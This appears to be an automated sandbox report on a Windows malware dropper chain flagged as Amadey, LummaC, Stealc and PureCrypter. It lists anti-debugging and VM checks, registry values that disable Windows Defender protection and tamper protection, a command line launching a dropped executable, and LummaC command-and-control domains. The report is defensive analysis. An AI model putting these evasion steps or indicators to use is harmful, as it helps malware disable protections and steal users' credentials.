Source: 06339d0580.exe, 00000010.00000002.3396434392.0000000004680000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__\CurrentVersion\Internet Settings\ConnectionsA00104B2A6676\00000001ook\9375CFF0413111d3B88A00104B2A6676\00000003413111d3B88A00104B2A6676\00000002\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connectionser321.4.1.311.64.1.1!7\REGISTRY\MACHINE\S\REGI\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Source: Web Data.27.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.27.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 2bbe886987.exe, 00000011.00000002.3406168899.0000000023927000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.27.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.27.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.27.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.27.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 2bbe886987.exe, 00000018.00000002.3367537192.000000000131A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 06339d0580.exe, 00000015.00000002.3362375793.0000000000AC2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBns
Source: Web Data.27.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.27.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.27.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.27.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.2189907702.0000000000980000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmp, 06339d0580.exe, 00000010.00000002.3404020326.0000000006252000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000002.3370528532.0000000001002000.00000040.00000001.01000000.0000000B.sdmp, 2bbe886987.exe, 00000011.00000002.3364403033.0000000000BC2000.00000040.00000001.01000000.0000000C.sdmp, 06339d0580.exe, 00000015.00000002.3396099411.0000000006062000.00000040.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000002.3369146551.0000000001002000.00000040.00000001.01000000.0000000B.sdmp, 23e9bcc0a0.exe, 00000016.00000002.3150732032.0000000001039000.00000040.00000001.01000000.0000000E.sdmp, 2bbe886987.exe, 00000018.00000002.3361529894.0000000000BC2000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.27.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.27.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: NTICE
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: SICE
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04D20BF4 rdtsc

1_2_04D20BF4

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003F652B mov eax, dword ptr fs:[00000030h]	1_2_003F652B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_003FA302 mov eax, dword ptr fs:[00000030h]	1_2_003FA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007BA302 mov eax, dword ptr fs:[00000030h]	4_2_007BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_007B652B mov eax, dword ptr fs:[00000030h]	4_2_007B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007BA302 mov eax, dword ptr fs:[00000030h]	5_2_007BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007B652B mov eax, dword ptr fs:[00000030h]	5_2_007B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007BA302 mov eax, dword ptr fs:[00000030h]	15_2_007BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007B652B mov eax, dword ptr fs:[00000030h]	15_2_007B652B

Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 2052, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 06339d0580.exe, 00000027.00000003.3325802050.0000000005F52000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1222396-1-3,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-1-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,v1_disable_abandoned_cart:506070,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1:408272,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDisableAbandonedCart":{"disableFeatures":["msEdgeShoppingPwiloNotificationsAbandonedCarts"]},"EdgeShoppingDomMutationExpansion":{"enableFeatures":["msShoppingExp67"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]

LummaC encrypted strings found

Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: scriptyprefej.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: navygenerayk.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: founpiuer.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: necklacedmny.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: thumbystriw.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: fadehairucw.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: crisiwarny.store
Source: 06339d0580.exe, 00000010.00000002.3368188191.0000000000E21000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: presticitpo.store

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe "C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe "C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe "C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJEHJKJEBGH.exe "C:\Users\user\DocumentsJEHJKJEBGH.exe"

Source: 06339d0580.exe, 00000010.00000002.3372449867.0000000001048000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: !Program Manager
Source: skotes.exe, skotes.exe, 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: \Program Manager
Source: 06339d0580.exe, 00000010.00000002.3404020326.0000000006252000.00000040.00000800.00020000.00000000.sdmp, 2bbe886987.exe, 00000011.00000002.3364403033.0000000000BC2000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: OProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 15_2_0079DD91 cpuid

15_2_0079DD91

Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004195001\2bbe886987.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_003DCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

1_2_003DCBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 15_2_007C2517 GetTimeZoneInformation,

15_2_007C2517

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1004197001\23e9bcc0a0.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 06339d0580.exe, 00000010.00000003.2982854511.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: 06339d0580.exe, 06339d0580.exe, 00000010.00000003.2945657733.0000000005621000.00000004.00000800.00020000.00000000.sdmp, 06339d0580.exe, 00000010.00000003.2945266963.0000000000C20000.00000004.00000020.00020000.00000000.sdmp, 06339d0580.exe, 00000015.00000003.3161883342.0000000000B19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1004194001\06339d0580.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.skotes.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.file.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2189593020.0000000000781000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 2476, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 24.2.2bbe886987.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.06339d0580.exe.56bf179.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.06339d0580.exe.5516f91.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.06339d0580.exe.5de0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.2bbe886987.exe.750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.06339d0580.exe.5bf0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.3052944187.00000000082F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3372681465.000000000149E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.3403739193.0000000005DE1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.3292954731.00000000081B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2914827071.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.3096329749.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3359791803.0000000000751000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3359810844.0000000000751000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.3395872833.0000000005BF1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 06339d0580.exe PID: 4816, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bbe886987.exe PID: 2052, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
